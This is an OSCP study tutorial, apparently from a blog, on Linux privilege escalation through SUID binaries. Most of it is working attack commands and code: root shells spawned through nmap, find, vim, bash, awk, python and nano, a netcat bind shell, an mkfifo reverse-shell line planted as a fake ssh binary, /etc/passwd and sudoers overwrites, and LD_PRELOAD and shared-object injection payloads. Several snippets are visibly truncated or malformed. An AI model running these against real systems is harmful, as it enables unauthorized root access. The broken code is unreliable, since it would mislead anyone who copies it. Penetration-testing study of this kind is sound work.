SUID Executables- Linux Privilege Escalation

suid executables
Linux privilege escalationOSCP Study material

Set User ID is a sort of permission which is assigned to a file and enables users to execute the file with the permissions of its owner account. There are so many reasons a Linux binary can have this type of permission set like assigning a special file access given by admin to a normal user. For example, the ping utility requires root privileges in order to open a network socket but it needs to be executed by standard users as well to verify connectivity with other hosts so admin should allow other users to execute the ping command.

However, some of the existing binaries and utilities can be used to escalate privileges to root if they have the SUID permission. Known Linux executables that can allow privilege escalation are:

  • Nmap
  • Vim
  • find
  • Bash
  • More
  • Less
  • Awk/Mawk
  • Python
  • Nano
  • cp
  • Adding binary to the path
  • Generating suid to c shell
  • As a user with no password
  • SUID binary with command path
  • SUID-so injection

The following commands can discover all the SUID executables that are running on the system. More specifically the commands will try to find files in the / directory owned by the user root that have the SUID permission bits, print them and then redirect all errors to /dev/null in order to list only the binaries that the user has permissions to access.

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

All of the binaries above will be executed with root privileges since they contain the “s” in their permissions and they are owned by the root user.

ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap


Older versions of Nmap (2.02 to 5.21) had an interactive mode that allowed users to execute shell commands.  Since Nmap is in the list of binaries that are executed with root privileges it is possible to use the interactive console in order to run a shell with the same privileges.

nmap -V

The interactive mode can start by executing Nmap with the parameter “interactive

nmap --interactive

The following command will give an elevated shell.

nmap> !sh
sh-3.2# whoami

Root Shell via Suid Nmap Binary

Alternatively, there is a Metasploit module that performs privilege escalation via SUID Nmap binaries.



The utility find can be used to discover stored on the system. However, it is the ability to execute commands. Therefore if it is configured to run with the SUID permission all the commands that will be executed through find will be executed as root.

touch Certcube certcube -exec whoami \;

Find Command Execution

Since the majority of the Linux operating system have Netcat installed it is possible to upgrade the elevated command execution into a root shell.

find certcube -exec netcat -lvp 5555 -e /bin/sh \;

Run Netcat via Find

Connecting into the opened port will give a root shell.

netcat 5555
cat /etc/shadow

Root Shell via Find


The main use of Vim is to be a text editor. However, if it runs as SUID it will inherit the permission of the root user and therefore it could read all files on the system.

vim.tiny /etc/shadow

Vim – Reading Root Files

Further root activities can be done by running a shell through Vim.

# Press ESC key
:set shell=/bin/sh

Vim – Root Shell


The following command will open a bash shell as root.

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Bash – Root Shell


The utility Less can also execute an elevated shell. The same principle applies and for the More command.

less /etc/passwd


awk/mawk 'BEGIN {system("/bin/sh")}'


python -c 'import pty;pty.spawn("/bin/sh")'


nano -s /bin/sh


cp /etc/passwd /tmp/passwd

use nano to change the following line





cp /tmp/passwd /etc/passwd

su admin


Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
    It works

if you can just change PATH, the following will add a poisoned ssh binary:

 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh

Generating SUID C Shell for /bin/bash

int main(void){
    setresuid(0, 0, 0);

Without interactive shell

$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c

If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:

$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;

If /etc/passwd has incorrect permissions, you can root:

 $ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su

Add user www-data to sudoers with no password

$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

If you can sudo chmod:

 $echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid

Sudo command/SUID binary without command path

If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable

export PATH=/tmp:$PATH#Put your backdoor in /tmp and name it "less"sudo less

This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).

Payload examples to execute.

SUID binary with command path

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed


LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library ( This is called preloading a library.

To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

If you find inside the output of sudo -l the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.

Defaults        env_keep += LD_PRELOAD

Save as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() 
{    unsetenv("LD_PRELOAD");    setgid(0);    setuid(0);    system("/bin/bash");}

Then compile it using:

cd /tmpgcc -fPIC -shared -o pe.c -nostartfiles

Finally, escalate privileges running

sudo <COMMAND> #Use any command you can run with sudo

SUID Binary – so injection

If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

For example, if you find something like: pen(“/home/user/.config/”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.

Create the file /home/user/.config/libcalc.c with the code:

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject()
{system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");}

Compile it using:

gcc -shared -o -fPIC libcalc.c

And execute the binary.



Leave a Reply

Your email address will not be published. Required fields are marked *